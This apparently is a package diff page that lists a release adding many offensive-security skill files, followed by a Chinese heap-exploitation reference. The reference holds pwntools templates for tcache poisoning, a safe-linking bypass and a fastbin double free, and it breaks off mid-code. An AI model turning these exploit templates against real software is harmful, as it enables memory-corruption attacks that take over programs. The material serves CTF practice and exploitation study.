opencode-skills-collection 4.0.42 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (297) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +49 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/lore/SKILL.md +104 -298
  95. package/bundled-skills/lore/references/audit-template.md +21 -4
  96. package/bundled-skills/lore/references/compatibility.md +51 -121
  97. package/bundled-skills/lore/references/config.md +22 -23
  98. package/bundled-skills/lore/references/entry-format.md +33 -3
  99. package/bundled-skills/lore/references/history-command.md +98 -2
  100. package/bundled-skills/lore/references/platform-mirrors.md +45 -16
  101. package/bundled-skills/lore/references/stale-new-markers.md +10 -8
  102. package/bundled-skills/lore/references/summary-template.md +8 -1
  103. package/bundled-skills/lore/references/workflows.md +192 -0
  104. package/bundled-skills/lore/scripts/README.md +14 -13
  105. package/bundled-skills/lore/scripts/README.zh-CN.md +14 -13
  106. package/bundled-skills/lore/scripts/find_duplicates.py +14 -4
  107. package/bundled-skills/lore/scripts/find_stale.py +68 -16
  108. package/bundled-skills/lore/scripts/history.py +235 -23
  109. package/bundled-skills/lore/scripts/id_hash.py +7 -4
  110. package/bundled-skills/lore/scripts/list_entries.py +82 -13
  111. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  112. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  113. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  114. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  115. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  116. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  117. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  118. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  119. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  120. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  121. package/bundled-skills/muapi-media/SKILL.md +311 -0
  122. package/bundled-skills/ot-ics/SKILL.md +117 -0
  123. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  124. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  125. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  126. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  127. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  128. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  129. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  130. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  131. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  132. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  133. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  134. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  135. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  136. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  137. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  138. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  139. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  140. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  141. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  142. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  143. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  144. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  145. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  146. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  147. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  148. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  149. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  218. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  219. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  220. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  221. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  222. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  223. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  224. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  225. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  226. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  227. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  228. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  229. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  230. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  231. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  232. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  233. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  234. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  235. package/bundled-skills/poka-yoke/SKILL.md +172 -0
  236. package/bundled-skills/project-state-governor/SKILL.md +1 -1
  237. package/bundled-skills/project-state-governor/references/project-state-schema.md +1 -1
  238. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  239. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  240. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  241. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  242. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  243. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  244. package/bundled-skills/radare2/SKILL.md +460 -0
  245. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  246. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  247. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  248. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  249. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  250. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  251. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  252. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  253. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  254. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  255. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  256. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  257. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  258. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  259. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  260. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  261. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  262. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  263. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  264. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  265. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  266. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  267. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  268. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  269. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  270. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  271. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  272. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  273. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  274. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  275. package/bundled-skills/spec-driven-loop/SKILL.md +203 -0
  276. package/bundled-skills/spec-driven-loop/references/agent-and-judge-contracts.md +120 -0
  277. package/bundled-skills/spec-driven-loop/references/document-templates.md +184 -0
  278. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  279. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  280. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  281. package/bundled-skills/thick-client/SKILL.md +104 -0
  282. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  283. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  284. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  285. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  286. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  287. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  288. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  289. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  290. package/bundled-skills/windows-ad/SKILL.md +109 -0
  291. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  292. package/package.json +1 -1
  293. package/skills_index.json +1281 -3
  294. package/bundled-skills/lore/README.md +0 -386
  295. package/bundled-skills/lore/README.zh-CN.md +0 -386
  296. package/bundled-skills/lore/WORKFLOWS.md +0 -216
  297. package/bundled-skills/lore/WORKFLOWS.zh-CN.md +0 -216
@@ -0,0 +1,283 @@
1
+ # 堆类利用 (Heap Pwn)
2
+
3
+ ## glibc 版本差异(必看)
4
+
5
+ 堆利用的所有技术都跟 glibc 版本强绑定。先确认版本:
6
+
7
+ ```bash
8
+ ./libc.so.6 | head -1
9
+ # GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
10
+
11
+ # 或 strings
12
+ strings ./libc.so.6 | grep "GNU C Library"
13
+ ```
14
+
15
+ | glibc 版本 | 关键变化 | 影响 |
16
+ |-----------|---------|------|
17
+ | 2.26 及之前 | 无 tcache | unsorted/fastbin 是主战场 |
18
+ | 2.27 | **引入 tcache** | tcache poisoning 极其简单 |
19
+ | 2.29 | unsorted bin unlink 加固(chunk size 检查) | unsorted bin attack 被砍 |
20
+ | 2.31 | tcache 多重检查(key 字段) | tcache poisoning 略复杂 |
21
+ | 2.32 | **safe-linking**(fd 指针异或 PROTECT_PTR) | 需要先 leak heap base |
22
+ | 2.34 | **移除 __free_hook / __malloc_hook** | 改走 FILE struct / exit handlers |
23
+ | 2.35+ | 进一步加固 | 同 2.34,FILE 路径仍可用 |
24
+
25
+ ## tcache poisoning (2.27 - 2.31)
26
+
27
+ ### 原理
28
+
29
+ tcache 是 per-thread cache,每个 size class 一条链表,单链表(只有 fd)。
30
+ double free 检查在 2.29 之前只看链表头是不是自己,不看遍历。
31
+
32
+ ### 利用模板(2.27 - 2.31)
33
+
34
+ ```python
35
+ from pwn import *
36
+
37
+ p = process('./vuln')
38
+ libc = ELF('./libc.so.6')
39
+
40
+ def add(idx, size, data=b'a'):
41
+ p.sendlineafter(b'> ', b'1')
42
+ p.sendlineafter(b'idx: ', str(idx).encode())
43
+ p.sendlineafter(b'size: ', str(size).encode())
44
+ p.sendafter(b'data: ', data)
45
+
46
+ def free(idx):
47
+ p.sendlineafter(b'> ', b'2')
48
+ p.sendlineafter(b'idx: ', str(idx).encode())
49
+
50
+ def show(idx):
51
+ p.sendlineafter(b'> ', b'3')
52
+ p.sendlineafter(b'idx: ', str(idx).encode())
53
+ return p.recvline().strip()
54
+
55
+ # === Step 1: leak libc base ===
56
+ # 申请大于 tcache 范围的 chunk(>0x408),free 进 unsorted bin,残留 main_arena 指针
57
+ for i in range(8):
58
+ add(i, 0x80)
59
+ add(8, 0x80) # 防止合并
60
+ for i in range(7):
61
+ free(i)
62
+ free(7) # 第 8 个进 unsorted bin,fd/bk 指向 main_arena+96
63
+ add(9, 0x80) # 切回来一部分,保留 fd
64
+ leak = u64(show(9).ljust(8, b'\x00'))
65
+ libc.address = leak - 0x3ebca0 # main_arena+96 偏移,glibc 2.27 amd64
66
+ log.success(f'libc = {hex(libc.address)}')
67
+
68
+ # === Step 2: tcache poisoning → 写 __free_hook ===
69
+ add(10, 0x30)
70
+ add(11, 0x30)
71
+ free(10)
72
+ free(11)
73
+ # 用 UAF 改 chunk11 的 fd 指向 __free_hook
74
+ edit(11, p64(libc.sym['__free_hook']))
75
+ add(12, 0x30) # 取出 chunk11
76
+ add(13, 0x30, p64(libc.sym['system'])) # 取出来的就是 __free_hook 地址,写 system
77
+
78
+ # 触发:free 一个内容为 "/bin/sh\x00" 的 chunk
79
+ add(14, 0x30, b'/bin/sh\x00')
80
+ free(14)
81
+
82
+ p.interactive()
83
+ ```
84
+
85
+ ## safe-linking 绕过 (2.32+)
86
+
87
+ ```text
88
+ 原理:tcache/fastbin 的 fd 写入时被 PROTECT_PTR 异或:
89
+ PROTECT_PTR(pos, ptr) = (pos >> 12) ^ ptr
90
+
91
+ 绕过:
92
+ 1. 必须先 leak 一个堆地址(heap base)
93
+ 2. 计算 obfuscated 值:fake_fd_obf = (chunk_addr >> 12) ^ target
94
+ 3. 写进去
95
+ ```
96
+
97
+ ```python
98
+ def protect_ptr(pos, ptr):
99
+ return (pos >> 12) ^ ptr
100
+
101
+ # leak heap base(unsorted bin 残留 / tcache fd 残留)
102
+ heap_base = leaked_heap & ~0xfff
103
+
104
+ # poisoning
105
+ fake_fd = protect_ptr(heap_base + chunk_off, target_addr)
106
+ edit(chunk_id, p64(fake_fd))
107
+ ```
108
+
109
+ ## fastbin attack (传统,2.26 及之前为主)
110
+
111
+ ```text
112
+ 关键点:
113
+ 1. fastbin 单链表(只有 fd),无 size 检查除了 chunk size 必须匹配
114
+ 2. 2.27 后 tcache 优先,fastbin 只有 tcache 满了才用
115
+ 3. 仍然需要伪造一个看起来像 chunk 的内存(size 字段 = 真实 chunk size,± 一些)
116
+ ```
117
+
118
+ ```python
119
+ # double free
120
+ add(0, 0x60)
121
+ add(1, 0x60)
122
+ free(0)
123
+ free(1)
124
+ free(0) # fastbin: 0 → 1 → 0
125
+
126
+ # 把 fd 改成 fake chunk(要求 fake_addr + 8 处的 size 字节匹配 0x70)
127
+ add(2, 0x60, p64(fake_addr))
128
+ add(3, 0x60)
129
+ add(4, 0x60) # 取出 fake_addr 处的 chunk
130
+ ```
131
+
132
+ ## unsorted bin attack(仅 2.28 及之前)
133
+
134
+ ```text
135
+ 原理:写任意地址为 main_arena+88
136
+ 2.29 起加了 bck->fd == victim 的检查,绕不过
137
+ 用途:覆盖 global_max_fast 让小 chunk 也走 fastbin → 配合 fastbin attack
138
+ ```
139
+
140
+ ```python
141
+ # 申请 unsorted size chunk
142
